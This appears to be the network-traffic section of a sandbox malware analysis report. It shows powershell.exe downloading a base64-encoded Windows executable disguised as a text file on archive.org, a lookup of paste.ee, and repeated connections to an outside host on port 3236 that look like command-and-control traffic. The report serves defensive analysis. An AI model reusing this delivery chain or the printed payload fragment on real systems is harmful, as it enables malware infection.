Oct 2, 2024 05:23:13.160588026 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.160604000 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.160667896 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.160675049 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.160716057 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161020994 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161050081 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161099911 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161107063 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161134958 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161151886 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161292076 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161308050 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161422968 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161429882 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161472082 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161684990 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161700010 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161770105 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.161777973 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.161823034 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.162036896 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.162053108 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.162110090 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.162117004 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.162164927 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.241255999 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.241281986 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.241355896 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.241457939 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.241478920 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.241491079 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.241509914 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:13.241532087 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.241563082 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.254168034 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:13.354201078 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:13.354254961 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:13.354336977 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:13.354892969 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:13.354911089 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:13.820318937 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:13.820466995 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:13.823667049 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:13.823678970 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:13.823918104 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:13.824834108 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:13.867396116 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.264523983 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.264569998 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.264604092 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.264694929 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.264714003 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.264760971 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.334156036 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.334224939 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.334254026 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.334281921 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.334408998 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.334434986 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.334518909 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.334567070 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.334572077 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.351674080 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.351725101 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.351775885 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.351813078 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.351811886 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.351838112 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.351859093 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.351927042 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.352278948 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.352350950 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.352385044 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.352391958 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.352399111 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.352438927 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.422702074 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.422799110 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.422826052 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.422854900 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.422878027 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.422905922 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.422921896 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.423516035 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.423548937 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.423599005 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.423602104 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.423612118 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.423640966 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.424254894 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424288034 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424302101 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.424314022 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424356937 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.424361944 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424819946 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424849987 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424861908 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.424871922 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.424906969 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.439229012 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.439415932 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.439506054 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.439529896 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.439578056 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.439620018 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.439625978 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440073967 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440134048 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.440145016 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440155029 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440196991 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.440202951 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440751076 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440797091 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.440808058 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440856934 CEST	443	49706	188.114.96.3	192.168.2.9
Oct 2, 2024 05:23:14.440898895 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:14.441216946 CEST	49706	443	192.168.2.9	188.114.96.3
Oct 2, 2024 05:23:16.895025015 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:16.900085926 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:16.900167942 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:16.939838886 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:16.944859028 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:17.370886087 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:17.376710892 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:17.381443024 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:17.480983019 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:17.524329901 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:18.783832073 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:18.788703918 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:18.788764954 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:18.793637991 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:32.853888988 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:32.858819008 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:32.858930111 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:32.863775015 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:32.977888107 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:33.024452925 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:33.066251993 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:33.074096918 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:33.078906059 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:33.078989029 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:33.083794117 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:36.741945028 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:36.789992094 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:36.882548094 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:36.930644989 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:46.931740046 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:46.936702967 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:46.936770916 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:46.945113897 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:47.055147886 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:47.102564096 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:47.143615007 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:47.145968914 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:47.150826931 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:23:47.150918007 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:23:47.155769110 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:01.009716988 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:01.014671087 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:01.014743090 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:01.019642115 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:01.133954048 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:01.180810928 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:01.265253067 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:01.269010067 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:01.273879051 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:01.273945093 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:01.278747082 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:06.748650074 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:06.790200949 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:07.840341091 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:07.841212034 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:07.841264963 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:07.841911077 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:07.841969967 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:07.842024088 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:07.842067957 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:15.087841988 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:15.092845917 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:15.092941999 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:15.097862005 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:15.212888002 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:15.259124994 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:15.301291943 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:15.306477070 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:15.311814070 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:15.311929941 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:15.319633961 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:29.166042089 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:29.171139956 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:29.171207905 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:29.176232100 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:29.290241957 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:29.337236881 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:29.421458960 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:29.423607111 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:29.428472042 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:29.428529024 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:29.433353901 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:36.737736940 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:36.790469885 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:36.869191885 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:36.915426970 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:43.260516882 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:43.265590906 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:43.265683889 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:43.270458937 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:43.385108948 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:43.435686111 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:43.674761057 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:43.679114103 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:43.683917999 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:43.684016943 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:43.688875914 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:57.338371992 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:57.343230009 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:57.343333960 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:57.348076105 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:57.462655067 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:57.509356976 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:57.550985098 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:57.553323984 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:57.558094025 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:24:57.558177948 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:24:57.562912941 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:06.889800072 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:06.889939070 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:06.889976025 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:11.416162014 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:11.421088934 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:11.421294928 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:11.426093102 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:11.540035009 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:11.587574959 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:11.628417969 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:11.630433083 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:11.635330915 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:11.635426044 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:11.640294075 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:17.275391102 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:17.280339003 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:17.280422926 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:17.285242081 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:17.398983002 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:17.446902990 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:17.529566050 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:17.530378103 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:17.535202980 CEST	3236	49707	148.113.165.11	192.168.2.9
Oct 2, 2024 05:25:17.535259008 CEST	49707	3236	192.168.2.9	148.113.165.11
Oct 2, 2024 05:25:17.540117979 CEST	3236	49707	148.113.165.11	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:23:10.127655983 CEST	58099	53	192.168.2.9	1.1.1.1
Oct 2, 2024 05:23:10.275121927 CEST	53	58099	1.1.1.1	192.168.2.9
Oct 2, 2024 05:23:13.345092058 CEST	64406	53	192.168.2.9	1.1.1.1
Oct 2, 2024 05:23:13.353423119 CEST	53	64406	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:23:10.127655983 CEST	192.168.2.9	1.1.1.1	0x5274	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:23:13.345092058 CEST	192.168.2.9	1.1.1.1	0x9d3a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:23:10.275121927 CEST	1.1.1.1	192.168.2.9	0x5274	No error (0)	ia600100.us.archive.org	207.241.227.240	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:23:13.353423119 CEST	1.1.1.1	192.168.2.9	0x9d3a	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:23:13.353423119 CEST	1.1.1.1	192.168.2.9	0x9d3a	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

paste.ee

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49705	207.241.227.240	443	6528	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:23:10 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:23:11 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:23:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:23:11 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-02 03:23:11 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
